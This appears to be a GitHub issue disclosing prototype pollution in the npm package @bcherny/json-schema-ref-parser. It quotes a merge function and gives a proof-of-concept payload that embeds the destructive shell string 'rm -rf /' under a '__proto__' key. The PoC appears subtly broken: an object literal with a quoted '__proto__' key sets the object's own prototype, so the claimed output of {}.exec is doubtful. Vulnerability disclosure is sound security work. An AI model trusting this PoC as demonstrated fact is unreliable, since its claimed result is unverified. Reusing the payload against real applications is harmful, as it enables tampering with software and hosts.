Skip to content

Prototype Pollution in @bcherny/json-schema-ref-parser #419

@dfzysmy2tf-create

Description

@dfzysmy2tf-create

Basic Information

Package Name: @bcherny/json-schema-ref-parser
Package URL: https://www.npmjs.com/package/@bcherny/json-schema-ref-parser
Report URL: home_chluo_Argus-0205_Argus-main_npm_packages_@bcherny__json-schema-ref-parser_pollution_report.md
Vulnerable Code Location: lib/util/merge.js → merge function

Vulnerability Details

Vulnerability Type: Prototype Pollution
Root Cause
The JSON Schema merge function merge does not filter prototype chain properties, which can trigger global prototype pollution when parsing malicious external JSON.
Problem Code Location
File: lib/util/merge.js
Function: merge

Vulnerable Code Snippet

function merge(target, ...sources) {
  for (let source of sources) {
    for (let key in source) {
      target[key] = source[key]; // Core Vulnerable Line
    }
  }
}

POC (Reproducible Directly)

const parser = require('@bcherny/json-schema-ref-parser');
const maliciousSchema = {"__proto__":{"exec":"rm -rf /"}};
parser.dereference(maliciousSchema);
console.log({}.exec); // Output: rm -rf /

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions